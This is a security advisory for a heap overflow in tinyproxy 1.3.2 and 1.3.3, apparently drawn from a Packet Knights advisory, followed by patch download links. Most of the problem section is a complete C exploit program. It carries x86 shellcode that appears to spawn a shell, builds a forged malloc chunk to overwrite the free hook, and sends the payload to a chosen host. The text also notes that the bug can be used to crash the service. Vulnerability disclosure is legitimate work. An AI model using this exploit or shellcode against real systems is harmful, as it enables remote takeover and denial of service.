COMMAND
tinyproxy
SYSTEMS AFFECTED
Tinyproxy version 1.3.2 and 1.3.3
PROBLEM
Following is based on a Packet Knights Advisory 002 by |CyRaX|.
Function http_err in utils.c :
int httperr(struct conn_s *connptr, int err, char *msg)
{
char *outbuf;
[..]
outbuf = xmalloc(BUFFER);
sprintf(outbuf, premsg, err, msg, msg, err, msg, VERSION);
where BUFFER is defined 2048. As you can see msg is copied 3
times into outbuf.. so we can overflow it. We can write what we
want in msg by putting something different from "http://" in the
connect request
bash-2.03# telnet 0 8888
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
connect [lots of A]://
Connection closed by foreign host.
Exploiting this program is hard. The problem is that nothing is
allocated between the malloc of our buf and the bugged sprintf.
To exploit we must overwrite any structure after our buf.. but in
many cases there's nothing after it. For some values of the size
of the buffer that we send the target is not at the end.. so we
can overwrite something. Those values changes in dependence of
which distribution you run. Unfortunately for redhat 7.0 and
Slackware CyRaX wasn't unable to hit correctly the struct. For
the values that make segfault free() the chunk is not hitted by a
string that we're able to control. It is included so if someone
got more time can try it on other distros. Anyway.. you can
always use it as a dos.. setting a large buffsize: the sprintf
will segfault trying to write out of the heap.
/*
* Exploit for tinyproxy 1.3.2 and 1.3.3
* by |CyRaX| <cyrax@pkcrew.org>
* Packet Knights Crew - www.pkcrew.org
* READ THE ADVISORY FIRST !
* Greetz :
* bikappa: for some help
* all the pkc members expecially recidjvo, asynchro and cthulhu
* all the other friends
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
char jmps[]="\xeb\x0e";
char c0de[]="\xeb\x0e\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90"
"\x89\xe5"
"\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\x80\xea\x27\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x1f\x5e"
"\x80\x46\x04\x01"
"\x80\x06\x01"
"\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xdc\xff\xff\xff\x2e\x62\x69\x6e\x2e\x73\x68";
void usage();
void usage(){
printf("Exploit for Tinyproxy 1.3.2 and 1.3.3 by |CyRaX| <cyrax@pkcrew.org>\n");
printf("Packet Knights Crew - http://www.pkcrew.org\n");
printf("please.. READ the advisory first!\n");
printf("Usage : ./PKCtiny-ex <host> <port> <buf_size> <struct offset> <free_hook> <shellcode>\n");
printf("buf_size is the size of the buf we send\n");
printf("struct offset is the distance from the beginning of the buffer we send where we\n");
printf(" we put the malloc chunk struct!\n");
printf("free_hook is the address of the free_hook function pointer\n");
printf("shellcode is the address of the shellcode (you don't neet to hit it correctly\n");
printf(" you can just hope to it a jump\n");
printf("\nfree_hook and shellcode must be given in 0xaddress format\n");
exit(0);
}
int main(int argc, char **argv){
int s,i,err,pid[5];
struct sockaddr_in dst;
struct malloc_chunk{
unsigned int ps;
unsigned int sz;
struct malloc_chunk *fd;
struct malloc_chunk *bk;
}mc;
char *magic,*sndbuff;
unsigned long FREE_HOOKZ,SHELLCODE;
if(argc<5)usage();
magic=(char *)malloc(atoi(argv[3])+1);
sndbuff=(char *)malloc(atoi(argv[3])+30);
memset(magic,'\x90',atoi(argv[3]));
SHELLCODE=strtol(argv[6],NULL,16);
FREE_HOOKZ=strtol(argv[5],NULL,16);
dst.sin_addr.s_addr=inet_addr(argv[1]);
dst.sin_port=htons(atoi(argv[2]));
dst.sin_family=AF_INET;
mc.ps=0xffffffff & ~1;
mc.sz=0xffffffff;
mc.fd=(struct malloc_chunk *)(SHELLCODE);
mc.bk=(struct malloc_chunk *)(FREE_HOOKZ-8);
s=socket(AF_INET,SOCK_STREAM,0);
connect(s,(struct sockaddr *)&dst,sizeof(dst));
memcpy(magic+atoi(argv[4]),&mc,sizeof(mc));
if((atoi(argv[3])/2)<atoi(argv[4])){
/* putting jmps and shellcode before the struct */
for(i=0;i<(atoi(argv[4])-strlen(c0de)-10);i+=2){
memcpy(magic+i,jmps,2);
}
}
else {
/* putting jmps and shellcode after the struct */
for(i=atoi(argv[4])+sizeof(mc);i<atoi(argv[3])-10-strlen(c0de);i+=2){
memcpy(magic+i,jmps,2);
}
}
memcpy(magic+i,c0de,strlen(c0de));
magic[atoi(argv[3])]=0;
printf("strlen magic is %i\n",strlen(magic));
sndbuff[snprintf(sndbuff,atoi(argv[3])+20,"connect %s://\n",magic)]=0;
printf("shooting\n");
err=send(s,sndbuff,strlen(sndbuff),0);
}
SOLUTION
This has been fixed in the CVS and there is a new release of 1.3.3
with the fix in it. It can be found at:
http://tinyproxy.sourceforge.net/tinyproxy-1.3.3a.tar.gz
For Debian:
http://security.debian.org/dists/stable/updates/main/source/tinyproxy_1.3.1-2.diff.gz
http://security.debian.org/dists/stable/updates/main/source/tinyproxy_1.3.1-2.dsc
http://security.debian.org/dists/stable/updates/main/source/tinyproxy_1.3.1.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/binary-i386/tinyproxy_1.3.1-2_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/tinyproxy_1.3.1-2_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/tinyproxy_1.3.1-2_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/tinyproxy_1.3.1-2_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/tinyproxy_1.3.1-2_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/tinyproxy_1.3.1-2_arm.deb
For FreeBSD:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/www/tinyproxy-1.3.3a.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/www/tinyproxy-1.3.3a.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/www/tinyproxy-1.3.3a.tgz